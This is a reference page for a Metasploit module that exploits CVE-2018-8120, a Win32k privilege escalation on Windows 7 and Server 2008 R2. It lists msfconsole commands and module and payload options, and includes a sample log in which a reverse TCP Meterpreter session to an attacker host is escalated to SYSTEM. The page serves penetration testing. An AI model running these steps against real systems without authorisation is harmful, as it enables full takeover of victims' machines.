Windows SetImeInfoEx Win32k NULL Pointer Dereference - Metasploit
This page contains detailed information about how to use the exploit/windows/local/ms18_8120_win32k_privesc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
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Module Overview
Name: Windows SetImeInfoEx Win32k NULL Pointer Dereference
Module: exploit/windows/local/ms18_8120_win32k_privesc
Source code: modules/exploits/windows/local/ms18_8120_win32k_privesc.rb
Disclosure date: 2018-05-09
Last modification time: 2021-09-08 21:56:02 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2018-8120
This module exploits elevation of privilege vulnerability that exists in Windows 7 and 2008 R2 when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. This module is tested against windows 7 x86, windows 7 x64 and windows server 2008 R2 standard x64.
Module Ranking and Traits
Module Ranking:
- good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/windows/local/ms18_8120_win32k_privesc
msf exploit(ms18_8120_win32k_privesc) > show targets
... a list of targets ...
msf exploit(ms18_8120_win32k_privesc) > set TARGET target-id
msf exploit(ms18_8120_win32k_privesc) > show options
... show and set options ...
msf exploit(ms18_8120_win32k_privesc) > set SESSION session-id
msf exploit(ms18_8120_win32k_privesc) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Overview
An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.
To exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application that could exploit the vulnerability and take control of an affected system.
The update addresses this vulnerability by correcting how Win32k handles objects in memory.
- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8120
- http://bigric3.blogspot.com/2018/05/cve-2018-8120-analysis-and-exploit.html
- https://github.com/bigric3/cve-2018-8120
- https://github.com/unamer/CVE-2018-8120
Verification Steps
- Start
msfconsole - Get a session
use exploit/windows/local/ms18_8120_win32k_privescset SESSION [SESSION]set LHOST [LHOST]exploit
Usage
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.1.102:4444
[*] Sending stage (206403 bytes) to 192.168.1.103
[*] Meterpreter session 1 opened (192.168.1.102:4444 -> 192.168.1.103:56748) at 2018-10-10 21:55:52 +0530
meterpreter > getuid
Server username: zero-PC\zero
meterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/handler) > use exploit/windows/local/ms18_8120_win32k_privesc
msf exploit(windows/local/ms18_8120_win32k_privesc) > set SESSION 1
SESSION => 1
msf exploit(windows/local/ms18_8120_win32k_privesc) > set LHOST 192.168.1.102
LHOST => 192.168.1.102
msf exploit(windows/local/ms18_8120_win32k_privesc) > run
[*] Started reverse TCP handler on 192.168.1.102:4444
[+] Exploiting SetImeInfoEx Win32k NULL Pointer Dereference
[+] Exploit finished, wait for privileged payload execution to complete.
[*] Sending stage (206403 bytes) to 192.168.1.103
[*] Meterpreter session 2 opened (192.168.1.102:4444 -> 192.168.1.103:56749) at 2018-10-10 21:56:35 +0530
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the windows/local/ms18_8120_win32k_privesc exploit module looks in the msfconsole:
msf6 > use exploit/windows/local/ms18_8120_win32k_privesc
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms18_8120_win32k_privesc) > show info
Name: Windows SetImeInfoEx Win32k NULL Pointer Dereference
Module: exploit/windows/local/ms18_8120_win32k_privesc
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2018-05-09
Provided by:
unamer
bigric3
Anton Cherepanov
Dhiraj Mishra <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
1 Windows 7 x64
2 Windows 7 x86
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload information:
Space: 4096
Description:
This module exploits elevation of privilege vulnerability that
exists in Windows 7 and 2008 R2 when the Win32k component fails to
properly handle objects in memory. An attacker who successfully
exploited this vulnerability could run arbitrary code in kernel
mode. An attacker could then install programs; view, change, or
delete data; or create new accounts with full user rights. This
module is tested against windows 7 x86, windows 7 x64 and windows
server 2008 R2 standard x64.
References:
http://www.securityfocus.com/bid/104034
https://nvd.nist.gov/vuln/detail/CVE-2018-8120
https://github.com/unamer/CVE-2018-8120
https://github.com/bigric3/cve-2018-8120
http://bigric3.blogspot.com/2018/05/cve-2018-8120-analysis-and-exploit.html
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8120
Module Options
This is a complete list of options available in the windows/local/ms18_8120_win32k_privesc exploit:
msf6 exploit(windows/local/ms18_8120_win32k_privesc) > show options
Module options (exploit/windows/local/ms18_8120_win32k_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the windows/local/ms18_8120_win32k_privesc exploit:
msf6 exploit(windows/local/ms18_8120_win32k_privesc) > show advanced
Module advanced options (exploit/windows/local/ms18_8120_win32k_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadBindPort no Port to bind reverse tcp socket to on target system.
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/local/ms18_8120_win32k_privesc module can exploit:
msf6 exploit(windows/local/ms18_8120_win32k_privesc) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
1 Windows 7 x64
2 Windows 7 x86
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/local/ms18_8120_win32k_privesc exploit:
msf6 exploit(windows/local/ms18_8120_win32k_privesc) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/windows/dllinject/bind_hidden_ipknock_tcp normal No Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
6 payload/windows/dllinject/bind_hidden_tcp normal No Reflective DLL Injection, Hidden Bind TCP Stager
7 payload/windows/dllinject/bind_ipv6_tcp normal No Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
8 payload/windows/dllinject/bind_ipv6_tcp_uuid normal No Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
9 payload/windows/dllinject/bind_named_pipe normal No Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
10 payload/windows/dllinject/bind_nonx_tcp normal No Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
11 payload/windows/dllinject/bind_tcp normal No Reflective DLL Injection, Bind TCP Stager (Windows x86)
12 payload/windows/dllinject/bind_tcp_rc4 normal No Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
13 payload/windows/dllinject/bind_tcp_uuid normal No Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
14 payload/windows/dllinject/reverse_hop_http normal No Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
15 payload/windows/dllinject/reverse_http normal No Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
16 payload/windows/dllinject/reverse_http_proxy_pstore normal No Reflective DLL Injection, Reverse HTTP Stager Proxy
17 payload/windows/dllinject/reverse_ipv6_tcp normal No Reflective DLL Injection, Reverse TCP Stager (IPv6)
18 payload/windows/dllinject/reverse_nonx_tcp normal No Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
19 payload/windows/dllinject/reverse_ord_tcp normal No Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
20 payload/windows/dllinject/reverse_tcp normal No Reflective DLL Injection, Reverse TCP Stager
21 payload/windows/dllinject/reverse_tcp_allports normal No Reflective DLL Injection, Reverse All-Port TCP Stager
22 payload/windows/dllinject/reverse_tcp_dns normal No Reflective DLL Injection, Reverse TCP Stager (DNS)
23 payload/windows/dllinject/reverse_tcp_rc4 normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
24 payload/windows/dllinject/reverse_tcp_rc4_dns normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
25 payload/windows/dllinject/reverse_tcp_uuid normal No Reflective DLL Injection, Reverse TCP Stager with UUID Support
26 payload/windows/dllinject/reverse_winhttp normal No Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
27 payload/windows/dns_txt_query_exec normal No DNS TXT Record Payload Download and Execution
28 payload/windows/download_exec normal No Windows Executable Download (http,https,ftp) and Execute
29 payload/windows/exec normal No Windows Execute Command
30 payload/windows/loadlibrary normal No Windows LoadLibrary Path
31 payload/windows/messagebox normal No Windows MessageBox
32 payload/windows/meterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
33 payload/windows/meterpreter/bind_hidden_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
34 payload/windows/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
35 payload/windows/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
36 payload/windows/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
37 payload/windows/meterpreter/bind_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
38 payload/windows/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
39 payload/windows/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
40 payload/windows/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
41 payload/windows/meterpreter/reverse_hop_http normal No Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
42 payload/windows/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
43 payload/windows/meterpreter/reverse_http_proxy_pstore normal No Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy
44 payload/windows/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
45 payload/windows/meterpreter/reverse_https_proxy normal No Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
46 payload/windows/meterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
47 payload/windows/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
48 payload/windows/meterpreter/reverse_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
49 payload/windows/meterpreter/reverse_ord_tcp normal No Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
50 payload/windows/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager
51 payload/windows/meterpreter/reverse_tcp_allports normal No Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
52 payload/windows/meterpreter/reverse_tcp_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
53 payload/windows/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
54 payload/windows/meterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
55 payload/windows/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
56 payload/windows/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
57 payload/windows/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
58 payload/windows/metsvc_bind_tcp normal No Windows Meterpreter Service, Bind TCP
59 payload/windows/metsvc_reverse_tcp normal No Windows Meterpreter Service, Reverse TCP Inline
60 payload/windows/patchupdllinject/bind_hidden_ipknock_tcp normal No Windows Inject DLL, Hidden Bind Ipknock TCP Stager
61 payload/windows/patchupdllinject/bind_hidden_tcp normal No Windows Inject DLL, Hidden Bind TCP Stager
62 payload/windows/patchupdllinject/bind_ipv6_tcp normal No Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
63 payload/windows/patchupdllinject/bind_ipv6_tcp_uuid normal No Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
64 payload/windows/patchupdllinject/bind_named_pipe normal No Windows Inject DLL, Windows x86 Bind Named Pipe Stager
65 payload/windows/patchupdllinject/bind_nonx_tcp normal No Windows Inject DLL, Bind TCP Stager (No NX or Win7)
66 payload/windows/patchupdllinject/bind_tcp normal No Windows Inject DLL, Bind TCP Stager (Windows x86)
67 payload/windows/patchupdllinject/bind_tcp_rc4 normal No Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
68 payload/windows/patchupdllinject/bind_tcp_uuid normal No Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
69 payload/windows/patchupdllinject/reverse_ipv6_tcp normal No Windows Inject DLL, Reverse TCP Stager (IPv6)
70 payload/windows/patchupdllinject/reverse_nonx_tcp normal No Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
71 payload/windows/patchupdllinject/reverse_ord_tcp normal No Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
72 payload/windows/patchupdllinject/reverse_tcp normal No Windows Inject DLL, Reverse TCP Stager
73 payload/windows/patchupdllinject/reverse_tcp_allports normal No Windows Inject DLL, Reverse All-Port TCP Stager
74 payload/windows/patchupdllinject/reverse_tcp_dns normal No Windows Inject DLL, Reverse TCP Stager (DNS)
75 payload/windows/patchupdllinject/reverse_tcp_rc4 normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
76 payload/windows/patchupdllinject/reverse_tcp_rc4_dns normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
77 payload/windows/patchupdllinject/reverse_tcp_uuid normal No Windows Inject DLL, Reverse TCP Stager with UUID Support
78 payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
79 payload/windows/patchupmeterpreter/bind_hidden_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
80 payload/windows/patchupmeterpreter/bind_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
81 payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
82 payload/windows/patchupmeterpreter/bind_named_pipe normal No Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
83 payload/windows/patchupmeterpreter/bind_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
84 payload/windows/patchupmeterpreter/bind_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
85 payload/windows/patchupmeterpreter/bind_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
86 payload/windows/patchupmeterpreter/bind_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
87 payload/windows/patchupmeterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
88 payload/windows/patchupmeterpreter/reverse_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
89 payload/windows/patchupmeterpreter/reverse_ord_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
90 payload/windows/patchupmeterpreter/reverse_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
91 payload/windows/patchupmeterpreter/reverse_tcp_allports normal No Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
92 payload/windows/patchupmeterpreter/reverse_tcp_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
93 payload/windows/patchupmeterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
94 payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
95 payload/windows/patchupmeterpreter/reverse_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
96 payload/windows/peinject/bind_hidden_ipknock_tcp normal No Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
97 payload/windows/peinject/bind_hidden_tcp normal No Windows Inject PE Files, Hidden Bind TCP Stager
98 payload/windows/peinject/bind_ipv6_tcp normal No Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
99 payload/windows/peinject/bind_ipv6_tcp_uuid normal No Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
100 payload/windows/peinject/bind_named_pipe normal No Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
101 payload/windows/peinject/bind_nonx_tcp normal No Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
102 payload/windows/peinject/bind_tcp normal No Windows Inject PE Files, Bind TCP Stager (Windows x86)
103 payload/windows/peinject/bind_tcp_rc4 normal No Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
104 payload/windows/peinject/bind_tcp_uuid normal No Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
105 payload/windows/peinject/reverse_ipv6_tcp normal No Windows Inject PE Files, Reverse TCP Stager (IPv6)
106 payload/windows/peinject/reverse_named_pipe normal No Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
107 payload/windows/peinject/reverse_nonx_tcp normal No Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
108 payload/windows/peinject/reverse_ord_tcp normal No Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
109 payload/windows/peinject/reverse_tcp normal No Windows Inject PE Files, Reverse TCP Stager
110 payload/windows/peinject/reverse_tcp_allports normal No Windows Inject PE Files, Reverse All-Port TCP Stager
111 payload/windows/peinject/reverse_tcp_dns normal No Windows Inject PE Files, Reverse TCP Stager (DNS)
112 payload/windows/peinject/reverse_tcp_rc4 normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
113 payload/windows/peinject/reverse_tcp_rc4_dns normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
114 payload/windows/peinject/reverse_tcp_uuid normal No Windows Inject PE Files, Reverse TCP Stager with UUID Support
115 payload/windows/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
116 payload/windows/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
117 payload/windows/shell/bind_hidden_ipknock_tcp normal No Windows Command Shell, Hidden Bind Ipknock TCP Stager
118 payload/windows/shell/bind_hidden_tcp normal No Windows Command Shell, Hidden Bind TCP Stager
119 payload/windows/shell/bind_ipv6_tcp normal No Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
120 payload/windows/shell/bind_ipv6_tcp_uuid normal No Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
121 payload/windows/shell/bind_named_pipe normal No Windows Command Shell, Windows x86 Bind Named Pipe Stager
122 payload/windows/shell/bind_nonx_tcp normal No Windows Command Shell, Bind TCP Stager (No NX or Win7)
123 payload/windows/shell/bind_tcp normal No Windows Command Shell, Bind TCP Stager (Windows x86)
124 payload/windows/shell/bind_tcp_rc4 normal No Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
125 payload/windows/shell/bind_tcp_uuid normal No Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
126 payload/windows/shell/reverse_ipv6_tcp normal No Windows Command Shell, Reverse TCP Stager (IPv6)
127 payload/windows/shell/reverse_nonx_tcp normal No Windows Command Shell, Reverse TCP Stager (No NX or Win7)
128 payload/windows/shell/reverse_ord_tcp normal No Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
129 payload/windows/shell/reverse_tcp normal No Windows Command Shell, Reverse TCP Stager
130 payload/windows/shell/reverse_tcp_allports normal No Windows Command Shell, Reverse All-Port TCP Stager
131 payload/windows/shell/reverse_tcp_dns normal No Windows Command Shell, Reverse TCP Stager (DNS)
132 payload/windows/shell/reverse_tcp_rc4 normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
133 payload/windows/shell/reverse_tcp_rc4_dns normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
134 payload/windows/shell/reverse_tcp_uuid normal No Windows Command Shell, Reverse TCP Stager with UUID Support
135 payload/windows/shell/reverse_udp normal No Windows Command Shell, Reverse UDP Stager with UUID Support
136 payload/windows/shell_bind_tcp normal No Windows Command Shell, Bind TCP Inline
137 payload/windows/shell_bind_tcp_xpfw normal No Windows Disable Windows ICF, Command Shell, Bind TCP Inline
138 payload/windows/shell_hidden_bind_tcp normal No Windows Command Shell, Hidden Bind TCP Inline
139 payload/windows/shell_reverse_tcp normal No Windows Command Shell, Reverse TCP Inline
140 payload/windows/speak_pwned normal No Windows Speech API - Say "You Got Pwned!"
141 payload/windows/upexec/bind_hidden_ipknock_tcp normal No Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
142 payload/windows/upexec/bind_hidden_tcp normal No Windows Upload/Execute, Hidden Bind TCP Stager
143 payload/windows/upexec/bind_ipv6_tcp normal No Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
144 payload/windows/upexec/bind_ipv6_tcp_uuid normal No Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
145 payload/windows/upexec/bind_named_pipe normal No Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
146 payload/windows/upexec/bind_nonx_tcp normal No Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
147 payload/windows/upexec/bind_tcp normal No Windows Upload/Execute, Bind TCP Stager (Windows x86)
148 payload/windows/upexec/bind_tcp_rc4 normal No Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
149 payload/windows/upexec/bind_tcp_uuid normal No Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
150 payload/windows/upexec/reverse_ipv6_tcp normal No Windows Upload/Execute, Reverse TCP Stager (IPv6)
151 payload/windows/upexec/reverse_nonx_tcp normal No Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
152 payload/windows/upexec/reverse_ord_tcp normal No Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
153 payload/windows/upexec/reverse_tcp normal No Windows Upload/Execute, Reverse TCP Stager
154 payload/windows/upexec/reverse_tcp_allports normal No Windows Upload/Execute, Reverse All-Port TCP Stager
155 payload/windows/upexec/reverse_tcp_dns normal No Windows Upload/Execute, Reverse TCP Stager (DNS)
156 payload/windows/upexec/reverse_tcp_rc4 normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
157 payload/windows/upexec/reverse_tcp_rc4_dns normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
158 payload/windows/upexec/reverse_tcp_uuid normal No Windows Upload/Execute, Reverse TCP Stager with UUID Support
159 payload/windows/upexec/reverse_udp normal No Windows Upload/Execute, Reverse UDP Stager with UUID Support
160 payload/windows/vncinject/bind_hidden_ipknock_tcp normal No VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
161 payload/windows/vncinject/bind_hidden_tcp normal No VNC Server (Reflective Injection), Hidden Bind TCP Stager
162 payload/windows/vncinject/bind_ipv6_tcp normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
163 payload/windows/vncinject/bind_ipv6_tcp_uuid normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
164 payload/windows/vncinject/bind_named_pipe normal No VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
165 payload/windows/vncinject/bind_nonx_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
166 payload/windows/vncinject/bind_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
167 payload/windows/vncinject/bind_tcp_rc4 normal No VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
168 payload/windows/vncinject/bind_tcp_uuid normal No VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
169 payload/windows/vncinject/reverse_hop_http normal No VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
170 payload/windows/vncinject/reverse_http normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
171 payload/windows/vncinject/reverse_http_proxy_pstore normal No VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
172 payload/windows/vncinject/reverse_ipv6_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
173 payload/windows/vncinject/reverse_nonx_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
174 payload/windows/vncinject/reverse_ord_tcp normal No VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
175 payload/windows/vncinject/reverse_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager
